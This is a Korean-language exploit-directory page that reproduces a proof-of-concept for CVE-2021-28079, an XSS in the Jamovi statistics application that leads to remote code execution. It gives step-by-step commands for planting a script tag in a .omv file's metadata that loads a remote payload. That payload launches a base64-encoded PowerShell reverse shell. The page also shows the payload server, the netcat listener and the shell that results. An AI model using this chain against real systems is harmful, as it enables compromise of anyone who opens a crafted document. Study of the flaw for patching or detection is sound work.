Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-28079 — # Jamovi <=1.6.18 XSS 취약점 PoC 익스플로잇 Jamovi <=1.6.18의 XSS 취약점에 대한 개념 증명 익스플로잇입니다. JavaScript 페이로드가 포함된 악성 .omv 문서를 제작하여 ElectronJS를 통한 원격 코드 실행을 달성하는 방법을 보여줍니다. | Kitploit
도구/GitHubGitHub/g33xter/cve-2021-28079
Phishing ToolsExploitationWeb Application ExploitationCommand and ControlSocial EngineeringPayload Development
GitHubg33xter/cve-2021-28079

CVE-2021-28079

# Jamovi <=1.6.18 XSS 취약점 PoC 익스플로잇 Jamovi <=1.6.18의 XSS 취약점에 대한 개념 증명 익스플로잇입니다. JavaScript 페이로드가 포함된 악성 .omv 문서를 제작하여 ElectronJS를 통한 원격 코드 실행을 달성하는 방법을 보여줍니다.

저장소 보기
4244년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-28079 - POC

Jamovi <=1.6.18은 크로스 사이트 스크립팅(XSS) 취약점의 영향을 받습니다. ElectronJS 프레임워크에서 열 이름이 XSS에 취약합니다. 공격자는 페이로드가 포함된 .omv(Jamovi) 문서를 만들 수 있습니다. 피해자가 열면 페이로드가 트리거됩니다.

root@kitploit:~
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract

모든 OMV 파일은 아카이브된 데이터입니다. 따라서 XSS 버그를 악용하기 위해 압축을 풀고 수정할 수 있습니다.

root@kitploit:~
🔥\> unzip example.omv
Archive:  example.omv
  inflating: META-INF/MANIFEST.MF
  inflating: index.html
  inflating: metadata.json
  inflating: xdata.json
  inflating: data.bin
  inflating: 01 empty/analysis

🔥\> ls
'01 empty'   data.bin   index.html   metadata.json   META-INF   example.omv   xdata.json

metadata.json 파일을 편집하고 XSS 페이로드를 추가합니다.

root@kitploit:~
🔥\> python3 -m json.tool metadata.json | head
{
    "dataSet": {
        "rowCount": 20,
        "columnCount": 3,
        "removedRows": [],
        "addedRows": [],
        "fields": [
            {
                "name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
                "id": 1,

Name 필드는 XSS에 취약하며, 여기에 XSS 페이로드를 추가해야 합니다. 스크립트 내부의 큰따옴표를 이스케이프 처리해야 합니다. 성공적인 악용 시 실제 페이로드가 있는 웹 서버에 접근합니다. 아래 JS 스크립트를 사용하여 명령을 실행하여 셸 액세스 권한을 얻을 수 있습니다.

root@kitploit:~
require('child_process').exec('command')

Windows OS인 경우 powershell을 사용할 수 있고 Linux인 경우 bash one-liner를 사용할 수 있습니다.

root@kitploit:~
🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')

위는 powershell 명령이 포함된 JS 파일의 예입니다. 이제 업데이트된 metadata.json으로 다시 압축해야 합니다.

root@kitploit:~
🔥\> zip -r example.omv .
  adding: 01 empty/ (stored 0%)
  adding: 01 empty/analysis (deflated 8%)
  adding: index.html (deflated 67%)
  adding: xdata.json (deflated 33%)
  adding: metadata.json (deflated 78%)
  adding: META-INF/ (stored 0%)
  adding: META-INF/MANIFEST.MF (deflated 30%)
  adding: data.bin (deflated 84%)

🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract

payload.js 파일을 제공하기 위해 웹 서버를 설정합니다

root@kitploit:~
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

netcat 리스너를 설정합니다

root@kitploit:~
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567

이제 'example.omv' 파일을 실행하여 XSS 버그를 악용하고 웹 서버에서 히트가 있는지 확인한 다음 netcat 리스너를 확인합니다.

root@kitploit:~
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -
root@kitploit:~
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.

PS C:\Windows\system32> whoami
omni\localuser
도구 다운로드